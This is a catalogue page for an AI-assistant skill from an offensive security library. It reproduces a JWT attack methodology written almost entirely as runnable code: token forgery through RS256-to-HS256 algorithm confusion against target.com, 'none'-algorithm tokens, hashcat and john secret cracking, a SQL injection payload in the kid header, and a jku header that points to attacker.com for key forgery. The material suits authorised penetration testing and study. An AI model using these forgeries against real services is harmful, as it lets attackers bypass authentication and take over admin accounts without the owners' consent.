Jwt

Skill sunilgentyala/OmniRed/skills/auth/jwt

OmniRed: Multi-AI offensive security skills library for Claude, ChatGPT, Gemini & Microsoft Copilot — with unique MCP, LLM-pipeline, and AI-native attack categories. By Sunil Gentyala, Independent Researcher.

Install

npx -y skills add sunilgentyala/OmniRed --skill jwt

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

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What its author says it does

Copied from the file, not written here

JWT (JSON Web Token) attack methodology. Covers algorithm confusion (RS256→HS256), none algorithm, weak secret cracking, kid injection, JKU header forgery, and claims manipulation.

The file declares its own license as Apache-2.0. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.

SKILL.md

2.1 KB, 542 tokens by cl100k_base, as published. Nobody here has run it

JWT Attacks

Detection and Decoding

# Decode without verification
echo "eyJ..." | cut -d. -f2 | base64 -d 2>/dev/null
# Or use jwt.io in browser

Attack 1 — Algorithm Confusion (RS256 → HS256)

If the server signs with RS256 (asymmetric) and validates by checking the alg header:

import jwt
import requests

# Get public key from server (often exposed at /jwks.json or /.well-known/jwks.json)
public_key = requests.get("https://target.com/.well-known/jwks.json").text

# Sign a forged token with the public key as the HMAC secret
forged = jwt.encode(
    {"sub": "admin", "role": "admin"},
    public_key,
    algorithm="HS256"
)

Attack 2 — None Algorithm

import base64, json

header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip("=")
payload = base64.b64encode(json.dumps({"sub":"admin","role":"admin"}).encode()).decode().rstrip("=")
forged = f"{header}.{payload}."

Attack 3 — Weak Secret Cracking

hashcat -m 16500 jwt_token.txt /usr/share/wordlists/rockyou.txt
# Or john
john --format=HMAC-SHA256 --wordlist=rockyou.txt jwt.txt

Attack 4 — kid (Key ID) Injection

If kid is used in a SQL/file path lookup:

{
  "alg": "HS256",
  "kid": "' UNION SELECT 'attacker_secret' --"
}

Sign with attacker_secret — the server queries for the key using the injected SQL.

Attack 5 — JKU Header Forgery

{
  "alg": "RS256",
  "jku": "https://attacker.com/jwks.json"
}

Host a JWKS at attacker.com with your own RSA key pair. Sign the JWT with your private key.

Tools

jwt_tool — comprehensive JWT testing
jwt.io — decode and inspect
Burp Suite JWT Editor extension

OWASP Mapping

A02:2021 — Cryptographic Failures
A07:2021 — Identification and Authentication Failures